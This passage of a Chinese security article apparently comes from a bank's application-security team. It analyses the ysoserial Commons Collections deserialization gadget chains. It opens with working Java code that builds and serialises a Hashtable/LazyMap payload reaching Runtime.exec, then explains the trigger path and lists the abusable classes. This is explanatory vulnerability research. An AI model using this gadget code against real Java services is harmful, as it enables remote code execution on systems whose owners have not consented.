        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        execArgs),
                new ConstantTransformer(1)};
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);
        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        //开启调试模式去跟一下hashtable.put(lazyMap2, 2)这个代码执行后的变量变化,会发现会发现lazyMap2的map内多了一个 yy->yy的map
        hashtable.put(lazyMap2, 2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        //这一步正是为了删除在hashtable.put(lazyMap2, 2)后lazyMap2中多出的那个yy->yy的map
        lazyMap2.remove("yy");
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }

这个代码的坑就在于当调用hashtable.put(lazyMap2, 2)的时候会因为put函数的一系列操作把lazyMap2变成了我们不期望的模样,

img28.jpg

可以看到lazyMap中的map多了一个yy->yy,其实一旦出现这种情况我们就知道肯定和lazyMap的get函数有关,打个断点看一下什么情况,

img29.jpg

遇到这种情况处理起来也很简单,lazyMap2.remove(“yy”)就完事了。

OK,明白了payload的生成代码,接下来我们就去看一下反序列化时候的利用链,

img30.jpg

在Hashtable的readObject方法中会把每个key-value往table里面丢,

img31.jpg

从往table中丢第二个map的时候,就需要开始让它的key和之前的key进行对比,看看有没有重复以决定是新添加一个map还是覆盖原有的,

img32.jpg

然后经过两个equals函数后自然而然的要去调用对于map的get函数以获取值,以做修改,于是就又来到了我们熟悉额lazyMap的get函数,从而调用tranform方法导致了RCE,

img33.jpg

总结

通过对ysoserial中关于CommonsCollection的七个利用方式的分析我们可以对可以利用的恶意类做一个总结:

四大Tranformer的tranform方法的作用

1.ChainedTransformer:循环调用成员变量iTransformers数组的中ransformer中的tranform方法。

2.InvokerTransformer: 通过反射的方法调用传入tranform方法中的inuput对象的方法(方法通过成员变量iMethodName设置,参数通过成员变量iParamTypes设置)

3.ConstantTransformer:返回成员变量iConstant的值。

4.InstantiateTransformer:通过反射的方法返回传入参数input的实力。(构造函数的参数通过成员变量iArgs传入,参数类型通过成员变量iParamTypes传入)

三大Map的作用

1.lazyMap:通过调用lazyMap的get方法可以触发它的成员变量factory的tranform方法,用来和上一节中的Tranformer配合使用。

2.TiedMapEntry:通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用,用来和lazyMap配合使用。

3.HashMap:通过调用HashMap的put方法实现对成员变量hashCode方法的调用,用来和TiedMapEntry配合使用(TiedMapEntry的hashCode函数会再去调自身的getValue)。

五大反序列化利用基类

1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。

2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的tranform方法,用来直接和Tranformer配合使用。

3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。

4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。

5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和lazyMap配合使用。

*本文作者:Glassy@平安银行应用安全团队,转载请注明来自FreeBuf.COM

来源:freebuf.com 2019-09-16 09:30:40 by: 平安银行应用安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论